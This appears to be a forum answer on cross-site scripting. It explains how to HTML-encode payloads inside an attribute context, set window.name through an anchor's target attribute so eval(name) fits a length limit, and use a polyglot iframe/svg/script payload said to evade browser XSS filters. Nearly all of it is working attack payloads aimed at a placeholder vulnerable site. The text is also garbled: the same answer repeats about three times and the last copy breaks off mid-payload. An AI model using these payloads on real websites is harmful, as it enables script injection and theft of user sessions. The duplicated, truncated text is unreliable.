In your example, you are already in a HTML attribute context so you should just be able to HTML-encode your payload. The browser will decode it for you before passing it to the Javascript engine.
onclick="alert(1)" will execute alert(1) when clicked on.
If there is a length limitation of 100 characters you can use the following pyaload:
eval(name) which translates to eval(name)
You can set name, or window.name, via for example target attribute of an a-tag:
<a target="alert(1)" href="http://vulnerable.com/?xss=%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6C%3B%28%26%23x6E%3B%26%23x61%3B%26%23x6D%3B%26%23x65%3B%29">Click to XSS</a>
Three other examples:
<iframe srcdoc="<SCRIPT>alert(1)</iframe>"><svg><script>alert(1)</script></svg>">`]]>-alert(1)</SCRIPT></SVG><SVG><SCRIPT>`<![CDATA[
Last one works when page contains a double+ reflection and it will bypass browser XSS filters.
Note: alert(1) = alert(1) when HTML/XML-entity decoded
In your example, you are already in a HTML attribute context so you should just be able to HTML-encode your payload. The browser will decode it for you before passing it to the Javascript engine.
onclick="alert(1)" will execute alert(1) when clicked on.
Three other examples:
<iframe srcdoc="<SCRIPT>alert(1)</iframe>"><svg><script>alert(1)</script></svg>">`]]>-alert(1)</SCRIPT></SVG><SVG><SCRIPT>`<![CDATA[
Last one works when page contains a double+ reflection and it will bypass browser XSS filters.
Note: alert(1) = alert(1) when HTML/XML-entity decoded
In your example, you are already in a HTML attribute context so you should just be able to HTML-encode your payload. The browser will decode it for you before passing it to the Javascript engine.
onclick="alert(1)" will execute alert(1) when clicked on.
If there is a length limitation of 100 characters you can use the following pyaload:
eval(name) which translates to eval(name)
You can set name, or window.name, via for example target attribute of an a-tag:
<a target="alert(1)" href="http://vulnerable.com/?xss=%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6C%3B%28%26%23x6E%3B%26%23x61%3B%26%23x6D%3B%26%23x65%3B%29">Click to XSS</a>
Three other examples:
<iframe srcdoc="<SCRIPT>alert(1)</iframe>"><svg><script>alert(1)</script></svg>">`]]>-alert(1)</SCRIPT></SVG><SVG><SCRIPT>`<
